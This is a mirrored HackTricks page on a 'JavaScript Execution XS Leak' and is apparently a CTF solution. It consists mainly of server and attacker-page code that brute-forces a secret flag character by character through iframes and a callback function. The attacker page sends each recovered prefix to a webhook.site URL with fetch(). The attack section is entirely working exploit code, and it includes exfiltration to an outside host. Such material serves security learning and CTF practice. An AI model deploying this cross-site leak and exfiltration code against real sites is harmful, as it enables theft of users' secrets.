mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
99 lines
4.3 KiB
Markdown
99 lines
4.3 KiB
Markdown
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# JavaScript Execution XS Leak
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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```javascript
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// Code that will try ${guess} as flag (need rest of the server code
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app.get('/guessing', function(req, res) {
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let guess = req.query.guess
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let page = `<html>
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<head>
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<script>
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function foo() {
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// If not the flag this will be executed
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window.parent.foo()
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}
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</script>
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<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
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</head>
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<p>hello2</p>
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</html>`
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res.send(page)
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});
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```
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Main page that generates iframes to the previous `/guessing` page to test each possibility
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```html
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<html>
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<head>
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<script>
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let candidateIsGood = false;
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let candidate = ''
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let flag = 'bi0sctf{'
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let guessIndex = -1
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let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
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// this will get called from our iframe IF the candidate is WRONG
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function foo() {
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candidateIsGood = false
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}
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timerId = setInterval(() => {
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if (candidateIsGood) {
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flag = candidate
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guessIndex = -1
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fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
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}
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//Start with true and will be change to false if wrong
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candidateIsGood = true
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guessIndex++
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if (guessIndex >= flagChars.length) {
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fetch('https://webhook.site/<yours-goes-here>')
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return
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}
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let guess = flagChars[guessIndex]
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candidate = flag + guess
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let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
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console.log('iframe: ', iframe)
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hack.innerHTML = iframe
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}
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, 500);
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</script>
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</head>
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<p>hello</p>
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<div id="hack">
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</div>
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</html>
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```
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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